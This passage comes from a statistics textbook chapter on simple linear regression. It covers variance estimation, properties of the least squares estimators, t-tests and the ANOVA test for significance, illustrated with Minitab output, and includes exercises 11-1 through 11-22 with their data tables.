Regression Analysis

The regression equation is

Purity = 74.3 + 14.9 HC Level

Predictor	Coef	SE Coef	T	P
Constant	74.283 ← $\hat{\beta}_0$	1.593	46.62	0.000
HC Level	14.947 ← $\hat{\beta}_1$	1.317	11.35	0.000

S = 1.087 R-Sq = 87.7% R-Sq (adj) = 87.1%

Analysis of Variance

Source	DF	SS	MS	F	P
Regression	1	152.13	152.13	128.86	0.000
Residual Error	18	21.25 ← SS_E	1.18 ← $\hat{\sigma}^2$		
Total	19	173.38			

Predicted Values for New Observations

New Obs	Fit	SE Fit	95.0% CI	95.0% PI
1	89.231	0.354	(88.486, 89.975)	(86.830, 91.632)

Values of Predictors for New Observations

New Obs	HC Level
1	1.00

Estimating σ^2

There is actually another unknown parameter in our regression model, σ^2 (the variance of the error term ϵ). The residuals $e_i = y_i - \hat{y}_i$ are used to obtain an estimate of σ^2. The sum of squares of the residuals, often called the **error sum of squares,** is

$$SS_E = \sum_{i=1}^{n} e_i^2 = \sum_{i=1}^{n} (y_i - \hat{y}_i)^2 \tag{11-12}$$

We can show that the expected value of the error sum of squares is $E(SS_E) = (n - 2)\sigma^2$. Therefore an **unbiased estimator** of σ^2 is

Estimator of Variance

$$\hat{\sigma}^2 = \frac{SS_E}{n - 2} \tag{11-13}$$

Computing SS_E using Equation 11-12 would be fairly tedious. A more convenient computing formula can be obtained by substituting $\hat{y}_i = \hat{\beta}_0 + \hat{\beta}_1 x_i$ into Equation 11-12 and simplifying. The resulting computing formula is

$$SS_E = SS_T - \hat{\beta}_1 S_{xy} \tag{11-14}$$

where $SS_T = \sum_{i=1}^{n}(y_i - \bar{y})^2 = \sum_{i=1}^{n} y_i^2 - n\bar{y}^2$ is the total sum of squares of the response variable y. Formulas such as this are presented in Section 11-4. The error sum of squares and the estimate of σ^2 for the oxygen purity data, $\hat{\sigma}^2 = 1.18$, are highlighted in the Minitab output in Table 11-2.

EXERCISES FOR SECTION 11-2

11-1. An article in *Concrete Research* ["Near Surface Characteristics of Concrete: Intrinsic Permeability" (Vol. 41, 1989)] presented data on compressive strength x and intrinsic permeability y of various concrete mixes and cures. Summary quantities are $n = 14$, $\sum y_i = 572$, $\sum y_i^2 = 23{,}530$, $\sum x_i = 43$, $\sum x_i^2 = 157.42$, and $\sum x_i y_i = 1697.80$. Assume that the two variables are related according to the simple linear regression model.

(a) Calculate the least squares estimates of the slope and intercept. Estimate σ^2. Graph the regression line.

(b) Use the equation of the fitted line to predict what permeability would be observed when the compressive strength is $x = 4.3$.

(c) Give a point estimate of the mean permeability when compressive strength is $x = 3.7$.

(d) Suppose that the observed value of permeability at $x = 3.7$ is $y = 46.1$. Calculate the value of the corresponding residual.

11-2. Regression methods were used to analyze the data from a study investigating the relationship between roadway surface temperature (x) and pavement deflection (y). Summary quantities were $n = 20$, $\sum y_i = 12.75$, $\sum y_i^2 = 8.86$, $\sum x_i = 1478$, $\sum x_i^2 = 143{,}215.8$, and $\sum x_i y_i = 1083.67$.

(a) Calculate the least squares estimates of the slope and intercept. Graph the regression line. Estimate σ^2.

(b) Use the equation of the fitted line to predict what pavement deflection would be observed when the surface temperature is 85°F.

(c) What is the mean pavement deflection when the surface temperature is 90°F?

(d) What change in mean pavement deflection would be expected for a 1°F change in surface temperature?

11-3. The following table presents data on the ratings of quarterbacks for the 2008 National Football League season (source: *The Sports Network*). It is suspected that the rating (y) is related to the average number of yards gained per pass attempt (x).

(a) Calculate the least squares estimates of the slope and intercept. What is the estimate of σ^2? Graph the regression model.

(b) Find an estimate of the mean rating if a quarterback averages 7.5 yards per attempt.

(c) What change in the mean rating is associated with a decrease of one yard per attempt?

(d) To increase the mean rating by 10 points, how much increase in the average yards per attempt must be generated?

(e) Given that $x = 7.21$ yards, find the fitted value of y and the corresponding residual.

Player		Team	Yards per Attempt	Rating Points
Philip	Rivers	SD	8.39	105.5
Chad	Pennington	MIA	7.67	97.4
Kurt	Warner	ARI	7.66	96.9
Drew	Brees	NO	7.98	96.2
Peyton	Manning	IND	7.21	95
Aaron	Rodgers	GB	7.53	93.8
Matt	Schaub	HOU	8.01	92.7
Tony	Romo	DAL	7.66	91.4
Jeff	Garcia	TB	7.21	90.2
Matt	Cassel	NE	7.16	89.4
Matt	Ryan	ATL	7.93	87.7
Shaun	Hill	SF	7.10	87.5
Seneca	Wallace	SEA	6.33	87
Eli	Manning	NYG	6.76	86.4
Donovan	McNabb	PHI	6.86	86.4
Jay	Cutler	DEN	7.35	86
Trent	Edwards	BUF	7.22	85.4
Jake	Delhomme	CAR	7.94	84.7
Jason	Campbell	WAS	6.41	84.3
David	Garrard	JAC	6.77	81.7
Brett	Favre	NYJ	6.65	81
Joe	Flacco	BAL	6.94	80.3
Kerry	Collins	TEN	6.45	80.2
Ben	Roethlisberger	PIT	7.04	80.1
Kyle	Orton	CHI	6.39	79.6
JaMarcus	Russell	OAK	6.58	77.1
Tyler	Thigpen	KC	6.21	76
Gus	Freotte	MIN	7.17	73.7
Dan	Orlovsky	DET	6.34	72.6
Marc	Bulger	STL	6.18	71.4
Ryan	Fitzpatrick	CIN	5.12	70
Derek	Anderson	CLE	5.71	66.5

11-4. An article in *Technometrics* by S. C. Narula and J. F. Wellington [“Prediction, Linear Regression, and a Minimum Sum of Relative Errors” (Vol. 19, 1977)] presents data on the selling price and annual taxes for 24 houses. The data are shown in the following table.

Sale Price/1000	Taxes (Local, School), County)/1000	Sale Price/1000	Taxes (Local, School), County)/1000
25.9	4.9176	30.0	5.0500
29.5	5.0208	36.9	8.2464
27.9	4.5429	41.9	6.6969
25.9	4.5573	40.5	7.7841
29.9	5.0597	43.9	9.0384
29.9	3.8910	37.5	5.9894
30.9	5.8980	37.9	7.5422
28.9	5.6039	44.5	8.7951
35.9	5.8282	37.9	6.0831
31.5	5.3003	38.9	8.3607
31.0	6.2712	36.9	8.1400
30.9	5.9592	45.8	9.1416

(a) Assuming that a simple linear regression model is appropriate, obtain the least squares fit relating selling price to taxes paid. What is the estimate of σ^2?
(b) Find the mean selling price given that the taxes paid are $x = 7.50$.
(c) Calculate the fitted value of y corresponding to $x = 5.8980$. Find the corresponding residual.
(d) Calculate the fitted $\hat{y}_i$ for each value of x_i used to fit the model. Then construct a graph of $\hat{y}_i$ versus the corresponding observed value y_i and comment on what this plot would look like if the relationship between y and x was a deterministic (no random error) straight line. Does the plot actually obtained indicate that taxes paid is an effective regressor variable in predicting selling price?

11-5. The number of pounds of steam used per month by a chemical plant is thought to be related to the average ambient temperature (in° F) for that month. The past year’s usage and temperature are shown in the following table:

Month	Temp.	Usage/1000	Month	Temp.	Usage/1000
Jan.	21	185.79	July	68	621.55
Feb.	24	214.47	Aug.	74	675.06
Mar.	32	288.03	Sept.	62	562.03
Apr.	47	424.84	Oct.	50	452.93
May	50	454.58	Nov.	41	369.95
June	59	539.03	Dec.	30	273.98

(a) Assuming that a simple linear regression model is appropriate, fit the regression model relating steam usage (y) to the average temperature (x). What is the estimate of σ^2? Graph the regression line.
(b) What is the estimate of expected steam usage when the average temperature is 55°F?
(c) What change in mean steam usage is expected when the monthly average temperature changes by 1°F?
(d) Suppose the monthly average temperature is 47°F. Calculate the fitted value of y and the corresponding residual.

11-6. The following table presents the highway gasoline mileage performance and engine displacement for DaimlerChrysler vehicles for model year 2005 (source: U.S. Environmental Protection Agency).
(a) Fit a simple linear model relating highway miles per gallon (y) to engine displacement (x) in cubic inches using least squares.
(b) Find an estimate of the mean highway gasoline mileage performance for a car with 150 cubic inches engine displacement.
(c) Obtain the fitted value of y and the corresponding residual for a car, the Neon, with an engine displacement of 122 cubic inches.

Carline	Engine Displacement (in^3)	MPG (highway)
300C/SRT-8	215	30.8
CARAVAN 2WD	201	32.5
CROSSFIRE ROADSTER	196	35.4
DAKOTA PICKUP 2WD	226	28.1
DAKOTA PICKUP 4WD	226	24.4
DURANGO 2WD	348	24.1
GRAND CHEROKEE 2WD	226	28.5
GRAND CHEROKEE 4WD	348	24.2
LIBERTY/CHEROKEE 2WD	148	32.8
LIBERTY/CHEROKEE 4WD	226	28
NEON/SRT-4/SX 2.0	122	41.3
PACIFICA 2WD	215	30.0
PACIFICA AWD	215	28.2
PT CRUISER	148	34.1
RAM 1500 PICKUP 2WD	500	18.7
RAM 1500 PICKUP 4WD	348	20.3
SEBRING 4-DR	165	35.1
STRATUS 4-DR	148	37.9
TOWN & COUNTRY 2WD	148	33.8
VIPER CONVERTIBLE	500	25.9
WRANGLER/TJ 4WD	148	26.4

11-7. An article in the *Tappi Journal* (March, 1986) presented data on green liquor Na_2S concentration (in grams per liter) and paper machine production (in tons per day). The data (read from a graph) are shown as follows:

y	40	42	49	46	44	48
x	825	830	890	895	890	910

y	46	43	53	52	54	57	58
x	915	960	990	1010	1012	1030	1050

(a) Fit a simple linear regression model with y = green liquor Na_2S concentration and x = production. Find an estimate of σ^2. Draw a scatter diagram of the data and the resulting least squares fitted model.
(b) Find the fitted value of y corresponding to $x = 910$ and the associated residual.
(c) Find the mean green liquor Na_2S concentration when the production rate is 950 tons per day.

11-8. An article in the *Journal of Sound and Vibration* (Vol. 151, 1991, pp. 383–394) described a study investigating the relationship between noise exposure and hypertension. The following data are representative of those reported in the article.

y	1	0	1	2	5	1	4	6	2	3
x	60	63	65	70	70	70	80	90	80	80

y	5	4	6	8	4	5	7	9	7	6
x	85	89	90	90	90	90	94	100	100	100

(a) Draw a scatter diagram of y (blood pressure rise in millimeters of mercury) versus x (sound pressure level in decibels). Does a simple linear regression model seem reasonable in this situation?
(b) Fit the simple linear regression model using least squares. Find an estimate of σ^2.
(c) Find the predicted mean rise in blood pressure level associated with a sound pressure level of 85 decibels.

11-9. An article in *Wear* (Vol. 152, 1992, pp. 171–181) presents data on the fretting wear of mild steel and oil viscosity. Representative data follow, with x = oil viscosity and y = wear volume (10^{-4} cubic millimeters).

y	240	181	193	155	172
x	1.6	9.4	15.5	20.0	22.0

y	110	113	75	94
x	35.5	43.0	40.5	33.0

(a) Construct a scatter plot of the data. Does a simple linear regression model appear to be plausible?
(b) Fit the simple linear regression model using least squares. Find an estimate of σ^2.
(c) Predict fretting wear when viscosity $x = 30$.
(d) Obtain the fitted value of y when $x = 22.0$ and calculate the corresponding residual.

11-10. An article in the *Journal of Environmental Engineering* (Vol. 115, No. 3, 1989, pp. 608–619) reported the results of a study on the occurrence of sodium and chloride in surface streams in central Rhode Island. The following data are chloride concentration y (in milligrams per liter) and roadway area in the watershed x (in percentage).

y	4.4	6.6	9.7	10.6	10.8	10.9
x	0.19	0.15	0.57	0.70	0.67	0.63

y	11.8	12.1	14.3	14.7	15.0	17.3
x	0.47	0.70	0.60	0.78	0.81	0.78

y	19.2	23.1	27.4	27.7	31.8	39.5
x	0.69	1.30	1.05	1.06	1.74	1.62

(a) Draw a scatter diagram of the data. Does a simple linear regression model seem appropriate here?
(b) Fit the simple linear regression model using the method of least squares. Find an estimate of σ^2.
(c) Estimate the mean chloride concentration for a watershed that has 1% roadway area.
(d) Find the fitted value corresponding to $x = 0.47$ and the associated residual.

11-11. A rocket motor is manufactured by bonding together two types of propellants, an igniter and a sustainer. The shear strength of the bond y is thought to be a linear function of the age of the propellant x when the motor is cast. Twenty observations are shown in the following table.

(a) Draw a scatter diagram of the data. Does the straight-line regression model seem to be plausible?
(b) Find the least squares estimates of the slope and intercept in the simple linear regression model. Find an estimate of σ^2.
(c) Estimate the mean shear strength of a motor made from propellant that is 20 weeks old.
(d) Obtain the fitted values $\hat{y}_i$ that correspond to each observed value y_i. Plot $\hat{y}_i$ versus y_i and comment on what this plot would look like if the linear relationship between shear strength and age were perfectly deterministic (no error). Does this plot indicate that age is a reasonable choice of regressor variable in this model?

Observation Number	Strength y (psi)	Age x (weeks)
1	2158.70	15.50
2	1678.15	23.75
3	2316.00	8.00
4	2061.30	17.00
5	2207.50	5.00
6	1708.30	19.00
7	1784.70	24.00
8	2575.00	2.50
9	2357.90	7.50
10	2277.70	11.00
11	2165.20	13.00
12	2399.55	3.75
13	1779.80	25.00
14	2336.75	9.75
15	1765.30	22.00
16	2053.50	18.00
17	2414.40	6.00
18	2200.50	12.50
19	2654.20	2.00
20	1753.70	21.50

11-12. An article in the *Journal of the American Ceramic Society* ["Rapid Hot-Pressing of Ultrafine PSZ Powders" (1991, Vol. 74, pp. 1547–1553)] considered the microstructure of the ultrafine powder of partially stabilized zirconia as a function of temperature. The data are shown below:

x = Temperature (°C):	1100	1200	1300	1100	1500	1200	1300		
y = Porosity (%):	30.8	19.2	6.0	13.5	11.4	7.7	3.6		

(a) Fit the simple linear regression model using the method of least squares. Find an estimate of σ^2.
(b) Estimate the mean porosity for a temperature of 1400°C.
(c) Find the fitted value corresponding to $y = 11.4$ and the associated residual.
(d) Draw a scatter diagram of the data. Does a simple linear regression model seem appropriate here? Explain.

11-13. An article in the *Journal of the Environmental Engineering Division* ["Least Squares Estimates of BOD Parameters" (1980, Vol. 106, pp. 1197–1202)] took a sample from the Holston River below Kingport, Tennessee, during August 1977. The biochemical oxygen demand (BOD) test is conducted over a period of time in days. The resulting data are shown below:

Time (days):	1	2	4	6	8	10	12	14	16	18	20
BOD (mg/liter):	0.6	0.7	1.5	1.9	2.1	2.6	2.9	3.7	3.5	3.7	3.8

(a) Assuming that a simple linear regression model is appropriate, fit the regression model relating BOD (y) to the time (x). What is the estimate of σ^2?
(b) What is the estimate of expected BOD level when the time is 15 days?
(c) What change in mean BOD is expected when the time changes by three days?
(d) Suppose the time used is six days. Calculate the fitted value of y and the corresponding residual.
(e) Calculate the fitted $\hat{y}_i$ for each value of x_i used to fit the model. Then construct a graph of $\hat{y}_i$ versus the corresponding observed values y_i and comment on what this plot would look like if the relationship between y and x was a deterministic (no random error) straight line. Does the plot actually obtained indicate that time is an effective regressor variable in predicting BOD?

11-14. An article in *Wood Science and Technology* ["Creep in Chipboard, Part 3: Initial Assessment of the Influence of Moisture Content and Level of Stressing on Rate of Creep and Time to Failure" (1981, Vol. 15, pp. 125–144)] studied the deflection (mm) of particleboard from stress levels of relative humidity. Assume that the two variables are related according to the simple linear regression model. The data are shown below:

x = Stress level (%):	54	54	61	61	68
y = Deflection (mm):	16.473	18.693	14.305	15.121	13.505
x = Stress level (%):	68	75	75	75	
y = Deflection (mm):	11.640	11.168	12.534	11.224	

(a) Calculate the least square estimates of the slope and intercept. What is the estimate of σ^2? Graph the regression model and the data.
(b) Find the estimate of the mean deflection if the stress level can be limited to 65%.
(c) Estimate the change in the mean deflection associated with a 5% increment in stress level.
(d) To decrease the mean deflection by one millimeter, how much increase in stress level must be generated?
(e) Given that the stress level is 68%, find the fitted value of deflection and the corresponding residual.

11-15. In an article in *Statistics and Computing* ["An Iterative Monte Carlo Method for Nonconjugate Bayesian Analysis" (1991, pp. 119–128)] Carlin and Gelfand investigated the age (x) and length (y) of 27 captured dugongs (sea cows).

x = 1.0, 1.5, 1.5, 1.5, 2.5, 4.0, 5.0, 5.0, 7.0, 8.0, 8.5, 9.0, 9.5, 9.5, 10.0, 12.0, 12.0, 13.0, 13.0, 14.5, 15.5, 15.5, 16.5, 17.0, 22.5, 29.0, 31.5

y = 1.80, 1.85, 1.87, 1.77, 2.02, 2.27, 2.15, 2.26, 2.47, 2.19, 2.26, 2.40, 2.39, 2.41, 2.50, 2.32, 2.32, 2.43, 2.47, 2.56, 2.65, 2.47, 2.64, 2.56, 2.70, 2.72, 2.57

(a) Find the least squares estimates of the slope and the intercept in the simple linear regression model. Find an estimate of σ^2.
(b) Estimate the mean length of dugongs at age 11.
(c) Obtain the fitted values $\hat{y}_i$ that correspond to each observed value y_i. Plot $\hat{y}_i$ versus y_i, and comment on what this plot would look like if the linear relationship between length and age were perfectly deterministic (no error). Does this plot indicate that age is a reasonable choice of regressor variable in this model?

11-16. Consider the regression model developed in Exercise 11-2.
(a) Suppose that temperature is measured in °C rather than °F. Write the new regression model.
(b) What change in expected pavement deflection is associated with a 1°C change in surface temperature?

11-17. Consider the regression model developed in Exercise 11-6. Suppose that engine displacement is measured in cubic centimeters instead of cubic inches.
(a) Write the new regression model.
(b) What change in gasoline mileage is associated with a 1 cm^3 change is engine displacement?

11-18. Show that in a simple linear regression model the point $(\bar{x}, \bar{y})$ lies exactly on the least squares regression line.

11-19. Consider the simple linear regression model $Y = \beta_0 + \beta_1 x + \epsilon$. Suppose that the analyst wants to use $z = x - \bar{x}$ as the regressor variable.
(a) Using the data in Exercise 11-11, construct one scatter plot of the (x_i, y_i) points and then another of the $(z_i = x_i - \bar{x}, y_i)$ points. Use the two plots to intuitively explain how the two models, $Y = \beta_0 + \beta_1 x + \epsilon$ and $Y = \beta_0^* + \beta_1^* z + \epsilon$, are related.
(b) Find the least squares estimates of β_0^* and β_1^* in the model $Y = \beta_0^* + \beta_1^* z + \epsilon$. How do they relate to the least squares estimates $\hat{\beta}_0$ and $\hat{\beta}_1$?

11-20. Suppose we wish to fit a regression model for which the true regression line passes through the point (0, 0). The appropriate model is $Y = \beta x + \epsilon$. Assume that we have n pairs of data $(x_1, y_1), (x_2, y_2), \ldots, (x_n, y_n)$.
(a) Find the least squares estimate of β.
(b) Fit the model $Y = \beta x + \epsilon$ to the chloride concentration-roadway area data in Exercise 11-10. Plot the fitted model on a scatter diagram of the data and comment on the appropriateness of the model.

11-3 PROPERTIES OF THE LEAST SQUARES ESTIMATORS

The statistical properties of the least squares estimators $\hat{\beta}_0$ and $\hat{\beta}_1$ may be easily described. Recall that we have assumed that the error term ϵ in the model $Y = \beta_0 + \beta_1 x + \epsilon$ is a random variable with mean zero and variance σ^2. Since the values of x are fixed, Y is a random variable with mean $\mu_{Y|x} = \beta_0 + \beta_1 x$ and variance σ^2. Therefore, the values of $\hat{\beta}_0$ and $\hat{\beta}_1$ depend on the observed y's; thus, the least squares estimators of the regression coefficients may be viewed as random variables. We will investigate the bias and variance properties of the least squares estimators $\hat{\beta}_0$ and $\hat{\beta}_1$.

Consider first $\hat{\beta}_1$. Because $\hat{\beta}_1$ is a linear combination of the observations Y_i, we can use properties of expectation to show that the expected value of $\hat{\beta}_1$ is

$$E(\hat{\beta}_1) = \beta_1 \tag{11-15}$$

Thus, $\hat{\beta}_1$ is an **unbiased estimator** of the true slope β_1.

Now consider the variance of $\hat{\beta}_1$. Since we have assumed that $V(\epsilon_i) = \sigma^2$, it follows that $V(Y_i) = \sigma^2$. Because $\hat{\beta}_1$ is a linear combination of the observations Y_i, the results in Section 5-5 can be applied to show that

$$V(\hat{\beta}_1) = \frac{\sigma^2}{S_{xx}} \tag{11-16}$$

For the intercept, we can show in a similar manner that

$$E(\hat{\beta}_0) = \beta_0 \quad \text{and} \quad V(\hat{\beta}_0) = \sigma^2 \left[\frac{1}{n} + \frac{\bar{x}^2}{S_{xx}} \right] \tag{11-17}$$

Thus, $\hat{\beta}_0$ is an unbiased estimator of the intercept β_0. The covariance of the random variables $\hat{\beta}_0$ and $\hat{\beta}_1$ is not zero. It can be shown (see Exercise 11-98) that $\text{cov}(\hat{\beta}_0, \hat{\beta}_1) = -\sigma^2\bar{x}/S_{xx}$.

The estimate of σ^2 could be used in Equations 11-16 and 11-17 to provide estimates of the variance of the slope and the intercept. We call the square roots of the resulting variance estimators the **estimated standard errors** of the slope and intercept, respectively.

Estimated Standard Errors

In simple linear regression the **estimated standard error of the slope** and the **estimated standard error of the intercept** are

$$se(\hat{\beta}_1) = \sqrt{\frac{\hat{\sigma}^2}{S_{xx}}} \qquad \text{and} \qquad se(\hat{\beta}_0) = \sqrt{\hat{\sigma}^2 \left[\frac{1}{n} + \frac{\bar{x}^2}{S_{xx}} \right]}$$

respectively, where $\hat{\sigma}^2$ is computed from Equation 11-13.

The Minitab computer output in Table 11-2 reports the estimated standard errors of the slope and intercept under the column heading "*SE* coeff."

11-4 HYPOTHESIS TESTS IN SIMPLE LINEAR REGRESSION

An important part of assessing the adequacy of a linear regression model is testing statistical hypotheses about the model parameters and constructing certain confidence intervals. Hypothesis testing in simple linear regression is discussed in this section, and Section 11-5 presents methods for constructing confidence intervals. To test hypotheses about the slope and intercept of the regression model, we must make the additional assumption that the error component in the model, ϵ, is normally distributed. Thus, the complete assumptions are that the errors are normally and independently distributed with mean zero and variance σ^2, abbreviated NID(0, σ^2).

11-4.1 Use of *t*-Tests

Suppose we wish to test the hypothesis that the slope equals a constant, say, $\beta_{1,0}$. The appropriate hypotheses are

$$\begin{aligned} H_0&: \beta_1 = \beta_{1,0} \\ H_1&: \beta_1 \neq \beta_{1,0} \end{aligned} \tag{11-18}$$

where we have assumed a two-sided alternative. Since the errors ϵ_i are NID(0, σ^2), it follows directly that the observations Y_i are NID($\beta_0 + \beta_1 x_i$, σ^2). Now $\hat{\beta}_1$ is a linear combination of

independent normal random variables, and consequently, $\hat{\beta}_1$ is $N(\beta_1, \sigma^2/S_{xx})$, using the bias and variance properties of the slope discussed in Section 11-3. In addition, $(n-2)\hat{\sigma}^2/\sigma^2$ has a chi-square distribution with $n-2$ degrees of freedom, and $\hat{\beta}_1$ is independent of $\hat{\sigma}^2$. As a result of those properties, the statistic

Test Statistic

$$T_0 = \frac{\hat{\beta}_1 - \beta_{1,0}}{\sqrt{\hat{\sigma}^2/S_{xx}}} \tag{11-19}$$

follows the t distribution with $n-2$ degrees of freedom under H_0: $\beta_1 = \beta_{1,0}$. We would reject H_0: $\beta_1 = \beta_{1,0}$ if

$$|t_0| > t_{\alpha/2,n-2} \tag{11-20}$$

where t_0 is computed from Equation 11-19. The denominator of Equation 11-19 is the standard error of the slope, so we could write the test statistic as

$$T_0 = \frac{\hat{\beta}_1 - \beta_{1,0}}{se(\hat{\beta}_1)}$$

A similar procedure can be used to test hypotheses about the intercept. To test

$$\begin{aligned} H_0&: \beta_0 = \beta_{0,0} \\ H_1&: \beta_0 \neq \beta_{0,0} \end{aligned} \tag{11-21}$$

we would use the statistic

Test Statistic

$$T_0 = \frac{\hat{\beta}_0 - \beta_{0,0}}{\sqrt{\hat{\sigma}^2\left[\frac{1}{n} + \frac{\bar{x}^2}{S_{xx}}\right]}} = \frac{\hat{\beta}_0 - \beta_{0,0}}{se(\hat{\beta}_0)} \tag{11-22}$$

and reject the null hypothesis if the computed value of this test statistic, t_0, is such that $|t_0| > t_{\alpha/2,n-2}$. Note that the denominator of the test statistic in Equation 11-22 is just the standard error of the intercept.

A very important special case of the hypotheses of Equation 11-18 is

$$\begin{aligned} H_0&: \beta_1 = 0 \\ H_1&: \beta_1 \neq 0 \end{aligned} \tag{11-23}$$

These hypotheses relate to the **significance of regression.** Failure to reject H_0: $\beta_1 = 0$ is equivalent to concluding that there is no linear relationship between x and Y. This situation is illustrated in Fig. 11-5. Note that this may imply either that x is of little value in explaining the variation in Y and that the best estimator of Y for any x is $\hat{y} = \overline{Y}$ [Fig. 11-5(*a*)] or that the true relationship between x and Y is not linear [Fig. 11-5(*b*)]. Alternatively, if H_0: $\beta_1 = 0$ is rejected, this implies that x is of value in explaining the variability in Y (see Fig. 11-6). Rejecting H_0: $\beta_1 = 0$ could mean either that the straight-line model is adequate [Fig. 11-6(a)] or that, although there is a linear effect of x, better results could be obtained with the addition of higher order polynomial terms in x [Fig. 11-6(*b*)].

Figure 11-5 The hypothesis H_0: $\beta_1 = 0$ is not rejected.

EXAMPLE 11-2 **Oxygen Purity Tests of Coefficients**

We will test for significance of regression using the model for the oxygen purity data from Example 11-1. The hypotheses are

$$H_0: \beta_1 = 0$$
$$H_1: \beta_1 \neq 0$$

and we will use $\alpha = 0.01$. From Example 11-1 and Table 11-2 we have

$$\hat{\beta}_1 = 14.947 \quad n = 20, \quad S_{xx} = 0.68088, \quad \hat{\sigma}^2 = 1.18$$

so the t-statistic in Equation 10-20 becomes

$$t_0 = \frac{\hat{\beta}_1}{\sqrt{\hat{\sigma}^2/S_{xx}}} = \frac{\hat{\beta}_1}{se(\hat{\beta}_1)} = \frac{14.947}{\sqrt{1.18/0.68088}} = 11.35$$

Practical Interpretation: Since the reference value of t is $t_{0.005,18} = 2.88$, the value of the test statistic is very far into the critical region, implying that H_0: $\beta_1 = 0$ should be rejected. There is strong evidence to support this claim. The P-value for this test is $P \simeq 1.23 \times 10^{-9}$. This was obtained manually with a calculator.

Table 11-2 presents the Minitab output for this problem. Notice that the t-statistic value for the slope is computed as 11.35 and that the reported P-value is $P = 0.000$. Minitab also reports the t-statistic for testing the hypothesis H_0: $\beta_0 = 0$. This statistic is computed from Equation 11-22, with $\beta_{0,0} = 0$, as $t_0 = 46.62$. Clearly, then, the hypothesis that the intercept is zero is rejected.

11-4.2 Analysis of Variance Approach to Test Significance of Regression

A method called the **analysis of variance** can be used to test for significance of regression. The procedure partitions the total variability in the response variable into meaningful components as the basis for the test. The **analysis of variance identity** is as follows:

Analysis of Variance Identity

$$\sum_{i=1}^{n}(y_i - \bar{y})^2 = \sum_{i=1}^{n}(\hat{y}_i - \bar{y})^2 + \sum_{i=1}^{n}(y_i - \hat{y}_i)^2 \qquad (11\text{-}24)$$

Figure 11-6 The hypothesis H_0: $\beta_1 = 0$ is rejected.

The two components on the right-hand-side of Equation 11-24 measure, respectively, the amount of variability in y_i accounted for by the regression line and the residual variation left unexplained by the regression line. We usually call $SS_E = \sum_{i=1}^{n} (y_i - \hat{y}_i)^2$ the **error sum of squares** and $SS_R = \sum_{i=1}^{n} (\hat{y}_i - \bar{y})^2$ the **regression sum of squares.** Symbolically, Equation 11-24 may be written as

$$SS_T = SS_R + SS_E \tag{11-25}$$

where $SS_T = \sum_{i=1}^{n} (y_i - \bar{y})^2$ is the **total corrected sum of squares** of y. In Section 11-2 we noted that $SS_E = SS_T - \hat{\beta}_1 S_{xy}$ (see Equation 11-14), so since $SS_T = \hat{\beta}_1 S_{xy} + SS_E$, we note that the regression sum of squares in Equation 11-25 is $SS_R = \hat{\beta}_1 S_{xy}$. The total sum of squares SS_T has $n - 1$ degrees of freedom, and SS_R and SS_E have 1 and $n - 2$ degrees of freedom, respectively.

We may show that $E[SS_E/(n-2)] = \sigma^2$, $E(SS_R) = \sigma^2 + \beta_1^2 S_{xx}$ and that SS_E/σ^2 and SS_R/σ^2 are independent chi-square random variables with $n - 2$ and 1 degrees of freedom, respectively. Thus, if the null hypothesis H_0: $\beta_1 = 0$ is true, the statistic

Test for Significance of Regression

$$F_0 = \frac{SS_R/1}{SS_E/(n-2)} = \frac{MS_R}{MS_E} \tag{11-26}$$

follows the $F_{1,n-2}$ distribution, and we would reject H_0 if $f_0 > f_{\alpha,1,n-2}$. The quantities $MS_R = SS_R/1$ and $MS_E = SS_E/(n-2)$ are called **mean squares.** In general, a mean square is always computed by dividing a sum of squares by its number of degrees of freedom. The test procedure is usually arranged in an **analysis of variance table,** such as Table 11-3.

EXAMPLE 11-3 Oxygen Purity ANOVA

We will use the analysis of variance approach to test for significance of regression using the oxygen purity data model from Example 11-1. Recall that $SS_T = 173.38$, $\hat{\beta}_1 = 14.947$, $S_{xy} = 10.17744$, and $n = 20$. The regression sum of squares is

$$SS_R = \hat{\beta}_1 S_{xy} = (14.947)10.17744 = 152.13$$

and the error sum of squares is

$$SS_E = SS_T - SS_R = 173.38 - 152.13 = 21.25$$

The analysis of variance for testing H_0: $\beta_1 = 0$ is summarized in the Minitab output in Table 11-2. The test statistic is $f_0 = MS_R/MS_E = 152.13/1.18 = 128.86$, for which we find that the P-value is $P \simeq 1.23 \times 10^{-9}$, so we conclude that β_1 is not zero.

There are frequently minor differences in terminology among computer packages. For example, sometimes the regression sum of squares is called the "model" sum of squares, and the error sum of squares is called the "residual" sum of squares.

Table 11-3 Analysis of Variance for Testing Significance of Regression

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	F_0
Regression	$SS_R = \hat{\beta}_1 S_{xy}$	1	MS_R	MS_R/MS_E
Error	$SS_E = SS_T - \hat{\beta}_1 S_{xy}$	$n - 2$	MS_E	
Total	SS_T	$n - 1$		

Note that $MS_E = \hat{\sigma}^2$.

Note that the analysis of variance procedure for testing for significance of regression is equivalent to the t-test in Section 11-4.1. That is, either procedure will lead to the same conclusions. This is easy to demonstrate by starting with the t-test statistic in Equation 11-19 with $\beta_{1,0} = 0$, say

$$T_0 = \frac{\hat{\beta}_1}{\sqrt{\hat{\sigma}^2/S_{xx}}} \tag{11-27}$$

Squaring both sides of Equation 11-27 and using the fact that $\hat{\sigma}^2 = MS_E$ results in

$$T_0^2 = \frac{\hat{\beta}_1^2 S_{xx}}{MS_E} = \frac{\hat{\beta}_1 S_{xy}}{MS_E} = \frac{MS_R}{MS_E} \tag{11-28}$$

Note that T_0^2 in Equation 11-28 is identical to F_0 in Equation 11-26. It is true, in general, that the square of a t random variable with v degrees of freedom is an F random variable, with one and v degrees of freedom in the numerator and denominator, respectively. Thus, the test using T_0 is equivalent to the test based on F_0. Note, however, that the t-test is somewhat more flexible in that it would allow testing against a one-sided alternative hypothesis, while the F-test is restricted to a two-sided alternative.

EXERCISES FOR SECTION 11-4

11-21. Consider the computer output below.

The regression equation is
Y = 12.9 + 2.34 x

Predictor	Coef	SE Coef	T	P
Constant	12.857	1.032	?	?
X	2.3445	0.1150	?	?

S = 1.48111 R−Sq = 98.1% R−Sq(adj) = 97.9%

Analysis of Variance

Source	DF	SS	MS	F	P
Regression	1	912.43	912.43	?	?
Residual Error	8	17.55	?		
Total	9	929.98			

(a) Fill in the missing information. You may use bounds for the P-values.
(b) Can you conclude that the model defines a useful linear relationship?
(c) What is your estimate of σ^2?

11-22. Consider the computer output below.

The regression equation is
Y = 26.8 + 1.48 x

Predictor	Coef	SE Coef	T	P
Constant	26.753	2.373	?	?
X	1.4756	0.1063	?	?

S = 2.70040 R−Sq = 93.7% R-Sq (adj) = 93.2%

Analysis of Variance

Source	DF	SS	MS	F	P
Regression	1	?	?	?	?
Residual Error	?	94.8	7.3		
Total	15	1500.0			

